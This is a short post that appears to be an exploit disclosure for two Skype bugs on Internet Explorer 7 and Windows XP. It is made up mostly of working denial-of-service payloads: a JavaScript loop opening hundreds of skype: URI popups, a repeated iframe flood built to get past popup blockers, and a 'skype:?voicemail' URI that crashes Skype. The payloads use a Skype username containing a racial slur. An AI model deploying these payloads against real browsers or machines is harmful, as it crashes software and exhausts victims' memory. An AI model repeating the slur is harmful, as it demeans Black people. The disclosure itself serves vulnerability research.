1. Skype and Internet Explorer uri handler mechanism memory resources consumption bug: <script> for (var x = 1; x <= 666; x++) { popup_window = window.open('skype:happy_negro?call'); popup_window.close (); } </script> This will invoke many skype.exe processes and as they are not closed - much memory will be consumed. Such script will be blocked by popup blocker, so it is possible to do it other way: <iframe src="skype:happy_negro?call"></iframe><iframe src="skype:happy_negro?call"></iframe> <iframe src="skype:happy_negro?call"></iframe><iframe src="skype:happy_negro?call"></iframe> <iframe src="skype:happy_negro?call"></iframe><iframe src="skype:happy_negro?call"></iframe> ... I've used about megabyte of such crap <iframe src="skype:happy_negro?call"></iframe><iframe src="skype:happy_negro?call"></iframe> Tested on IE7, WinXP SP2 and skype 3.6.0.216 2. Unexploitable Skype null pointer dereference: skype:?voicemail To trigger the bug a right mouse button must be clicked, or menu button selected. Skype should crash :) Found here: http://www.critical.lt/?opinions/show/1433 credits: Critical Security